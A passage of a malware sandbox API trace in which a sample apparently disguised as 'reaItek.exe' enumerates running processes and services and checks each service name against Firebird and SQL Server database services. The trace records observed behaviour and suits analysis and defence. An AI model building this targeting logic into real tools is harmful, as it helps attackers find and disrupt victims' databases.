th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0106.825] lstrlenW (lpString="pearl.exe") returned 9 [0106.825] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0106.825] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0106.825] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0106.826] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0106.826] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0106.827] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0106.827] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0106.827] lstrlenW (lpString="dome.exe") returned 8 [0106.827] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0106.828] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0106.828] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0106.829] lstrlenW (lpString="paying.exe") returned 10 [0106.829] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0106.830] lstrlenW (lpString="emission.exe") returned 12 [0106.830] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0106.830] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0106.831] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0106.831] lstrlenW (lpString="charter.exe") returned 11 [0106.831] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0106.832] lstrlenW (lpString="nickel.exe") returned 10 [0106.832] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0106.833] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0106.833] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0106.834] lstrlenW (lpString="wrist.exe") returned 9 [0106.834] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0106.835] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0106.835] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0106.836] lstrlenW (lpString="neck.exe") returned 8 [0106.836] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0106.837] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0106.837] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.838] lstrlenW (lpString="dllhost.exe") returned 11 [0106.838] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.839] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.839] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.840] lstrlenW (lpString="svchost.exe") returned 11 [0106.840] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0106.841] lstrlenW (lpString="reaItek.exe") returned 11 [0106.841] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.841] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.841] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0106.842] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0106.842] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.843] lstrlenW (lpString="conhost.exe") returned 11 [0106.843] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.844] lstrlenW (lpString="cmd.exe") returned 7 [0106.844] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.845] lstrlenW (lpString="conhost.exe") returned 11 [0106.845] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.846] lstrlenW (lpString="sppsvc.exe") returned 10 [0106.846] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0106.846] lstrlenW (lpString="mode.com") returned 8 [0106.846] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0106.847] CloseHandle (hObject=0x33c) returned 1 [0106.847] Sleep (dwMilliseconds=0x1f4) [0107.363] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fedb8 [0107.364] EnumServicesStatusExW (in: hSCManager=0x5fedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0107.364] GetLastError () returned 0xea [0107.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0107.364] EnumServicesStatusExW (in: hSCManager=0x5fedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0107.365] CloseServiceHandle (hSCObject=0x5fedb8) returned 1 [0107.365] lstrlenW (lpString="Appinfo") returned 7 [0107.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0107.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0107.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0107.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0107.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0107.365] lstrlenW (lpString="AppXSvc") returned 7 [0107.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0107.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0107.366] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0107.366] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0107.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0107.366] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0107.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.366] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0107.366] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0107.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0107.366] lstrlenW (lpString="Audiosrv") returned 8 [0107.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0107.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0107.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0107.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0107.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0107.366] lstrlenW (lpString="BFE") returned 3 [0107.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0107.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0107.366] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0107.366] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0107.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0107.366] lstrlenW (lpString="BITS") returned 4 [0107.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0107.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0107.366] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0107.366] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0107.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0107.367] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0107.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.367] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0107.367] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0107.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0107.367] lstrlenW (lpString="CDPSvc") returned 6 [0107.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0107.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0107.367] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0107.367] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0107.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0107.367] lstrlenW (lpString="ClickToRunSvc") returned 13 [0107.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0107.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0107.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0107.367] lstrlenW (lpString="ClipSVC") returned 7 [0107.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0107.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0107.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0107.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0107.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0107.367] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0107.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0107.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0107.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0107.368] lstrlenW (lpString="CryptSvc") returned 8 [0107.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0107.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0107.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0107.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0107.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0107.368] lstrlenW (lpString="DcomLaunch") returned 10 [0107.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0107.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0107.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0107.368] lstrlenW (lpString="DeviceAssociationService") returned 24 [0107.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0107.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0107.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0107.368] lstrlenW (lpString="Dhcp") returned 4 [0107.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0107.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0107.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0107.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0107.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0107.369] lstrlenW (lpString="Dnscache") returned 8 [0107.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0107.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0107.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0107.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0107.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0107.369] lstrlenW (lpString="DoSvc") returned 5 [0107.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0107.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0107.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0107.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0107.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0107.369] lstrlenW (lpString="DPS") returned 3 [0107.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0107.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0107.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0107.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0107.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0107.369] lstrlenW (lpString="DusmSvc") returned 7 [0107.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0107.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0107.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0107.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0107.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0107.369] lstrlenW (lpString="EventLog") returned 8 [0107.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0107.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0107.370] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0107.370] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0107.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0107.370] lstrlenW (lpString="EventSystem") returned 11 [0107.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0107.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0107.370] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0107.370] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0107.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0107.370] lstrlenW (lpString="FontCache") returned 9 [0107.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0107.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0107.370] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0107.370] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0107.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0107.370] lstrlenW (lpString="gpsvc") returned 5 [0107.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0107.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0107.370] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0107.370] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0107.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0107.370] lstrlenW (lpString="iphlpsvc") returned 8 [0107.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.370] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0107.370] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0107.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0107.371] lstrlenW (lpString="KeyIso") returned 6 [0107.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0107.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0107.371] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0107.371] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0107.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0107.371] lstrlenW (lpString="LanmanServer") returned 12 [0107.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0107.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0107.371] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0107.371] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0107.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0107.371] lstrlenW (lpString="LanmanWorkstation") returned 17 [0107.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.371] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0107.371] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0107.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0107.371] lstrlenW (lpString="lfsvc") returned 5 [0107.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0107.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0107.371] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0107.371] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0107.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0107.371] lstrlenW (lpString="LicenseManager") returned 14 [0107.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0107.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0107.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0107.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0107.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0107.372] lstrlenW (lpString="lmhosts") returned 7 [0107.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0107.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0107.372] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0107.372] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0107.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0107.372] lstrlenW (lpString="LSM") returned 3 [0107.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0107.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0107.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0107.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0107.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0107.372] lstrlenW (lpString="MpsSvc") returned 6 [0107.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0107.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0107.372] lstrcmpiW 